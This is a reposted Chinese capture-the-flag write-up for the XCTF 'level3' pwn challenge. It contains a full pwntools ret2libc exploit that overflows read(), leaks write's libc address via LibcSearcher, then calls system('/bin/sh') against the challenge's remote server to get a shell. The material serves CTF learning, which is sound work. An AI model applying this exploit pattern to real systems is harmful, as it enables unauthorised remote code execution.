攻防世界(pwn) level3
生活随笔
收集整理的這篇文章主要介紹了
攻防世界(pwn) level3
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
先下載附件;,這個附件壓縮包里面有好幾層,挨著打開就好了
題目沒有提供 System函數 和 bin/sh 字符串 來供我們調用;
可以突破的點只有read函數。通過覆蓋返回地址,執行兩次main函數。第一次泄漏write函數的地址,第二次執行system函數。
from pwn import* from LibcSearcher import* p=remote('111.200.241.244','31433') elf=ELF("1") main_addr=0x8048484 write_plt=elf.plt["write"] write_got=elf.got["write"] payload = 'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.sendlineafter("Input:\n",payload) write_addr = u32(p.recv(4)) libc = LibcSearcher('write',write_addr) base=write_addr-libc.dump('write') system_addr = base+libc.dump('system') bin_sh_addr=base+libc.dump('str_bin_sh') payload = 'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh_addr) p.sendlineafter("Input:\n",payload) p.interactive()EXP中的語句就不解釋了,有問題歡迎留言 ?
總結
以上是生活随笔為你收集整理的攻防世界(pwn) level3的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTF(Pwn)32位文件 和 64
- 下一篇: 攻防世界(Pwn) PWN100